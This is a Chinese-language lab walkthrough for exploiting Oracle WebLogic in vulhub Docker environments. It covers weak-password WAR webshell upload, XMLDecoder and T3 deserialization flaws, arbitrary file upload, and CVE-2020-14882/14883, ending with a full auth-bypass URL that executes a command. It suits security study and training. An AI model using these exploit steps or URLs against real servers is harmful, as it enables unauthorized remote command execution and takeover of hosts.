WebLogic是美国Oracle公司出品的⼀个application server,确切的说是⼀个基于JAVAEE架构的中间 件,默认端⼝:7001 WebLogic是⽤于开发、集成、部署和管理⼤型分布式Web应⽤、⽹络应⽤和数据库应⽤的Java应⽤服务器。将Java的动态功能和Java Enterprise标准的安全性引⼊⼤型⽹络应⽤的开发、集成、部署和管理之中。
1 后台弱⼝令GetShell
漏洞描述
通过弱⼝令进⼊后台界⾯ , 上传部署war包 , getshell
环境搭建
cd vulhub-master/weblogic/weak_password
docker-compose up -d
报错后修改版本重新打开
漏洞利用
默认账号密码:weblogic/Oracle@123
登陆成功
1.登录后台后,点击部署,点击安装,点击上传⽂件。
2.上传war包,jsp⽊⻢压缩成zip,修改后缀为war,上传
3.访问部署好的war
4.webshell连接
2 CVE-2017-3506
漏洞描述
Weblogic的WLS Security组件对外提供了webserver服务,其中使⽤了XMLDecoder来解析⽤户输⼊的 XML数据,在解析过程中出现反序列化漏洞,可导致任意命令执⾏
环境搭建
cd vulhub-master/weblogic/weak_password
docker-compose up -d
漏洞利用
1.验证是否存在wls-wsat组件
/wls-wsat/CoordinatorPortType
2.在当前⻚⾯抓包之后,添加下⾯请求包,反弹shell。
3.根据图片修改
4.nc 终端监听
3 CVE-2019-2725
漏洞描述
wls9-async等组件为WebLogic Server提供异步通讯服务,默认应⽤于WebLogic部分版本。由于该
WAR包在反序列化处理输⼊信息时存在缺陷,攻击者通过发送精⼼构造的恶意 HTTP 请求,即获得⽬标服务器的权限,在未授权的情况下远程执⾏命令。
环境搭建
cd vulhub-master/weblogic/weak_password
docker-compose up -d
漏洞利用
1.漏洞验证
/_async/AsyncResponseService

2.在当前⻚⾯抓包 , 修改请求包 , 写⼊shell
3.访问下载到weblogic服务器上的⽊⻢
4.webshell工具连接
2.4 CVE-2018-2628
WebLogic T3协议反序列化命令执⾏漏洞
漏洞描述
Weblogic Server中的RMI 通信使⽤T3协议在Weblogic Server和其它Java程序(客户端或者其它
Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应⽤程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端⼝的应⽤上默认开 启, 攻击者可以通过T3协议发送恶意的的反序列化数据, 进⾏反序列化, 实现对存在漏洞的weblogic组件的远程代码执⾏攻击。
环境搭建
cd vulhub-master/weblogic/CVE-2018-2628
docker-compose up -d
漏洞利用
直接使用反序列化漏洞扫描工具进行扫描
2.5 CVE-2018-2894
WebLogic⽂件任意上传漏洞
漏洞描述
Weblogic Web Service Test Page中⼀处任意⽂件上传漏洞,Web Service Test Page 在 "⽣产模式" 下默认不开启,所以该漏洞有⼀定限制。
环境搭建
cd vulhub-master/weblogic/CVE-2018-2894
docker-compose up -d
漏洞利用
这⾥环境后台密码是随机得到
docker-compose logs| grep password
设置Web服务测试开启
域结构 -> base-domain -> ⾼级 -> 启动Web服务测试⻚
进⼊ config.do ⽂件进⾏设置,将⽬录设置为 ws_utc 应⽤的静态⽂件css⽬录,访问这个⽬录是⽆需权限的
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

上传木马文件
F12查看,找到对应时间戳
webshell连接地址
/ws_utc/css/config/keystore/1726815031601_shell.jsp
2.6 CVE-2020-14882
WebLogic远程代码执⾏漏洞
漏洞描述
CVE-2020-14882 允许远程⽤户绕过管理员控制台组件中的身份验证。
CVE-2020-14883 允许经过身份验证的⽤户在管理员控制台组件上执⾏任何命令。
使⽤这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执⾏任意命令并完全控制主机
环境搭建
cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d
漏洞利用
1.访问管理控制台
/console/login/LoginForm.jsp

2.使⽤以下url绕过登录认证
/console/css/%252e%252e%252fconsole.portal

此时达到未授权得效果。还未能GetShell。可以利⽤第⼆个漏洞(CVE-2020-14883),远程加载XML⽂件拿到Shell
3.⾸先访问以下 URL ,以连接 2 个漏洞并执⾏以下命令
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")
我们进⼊到docker中可以看到命令已经成功运⾏了
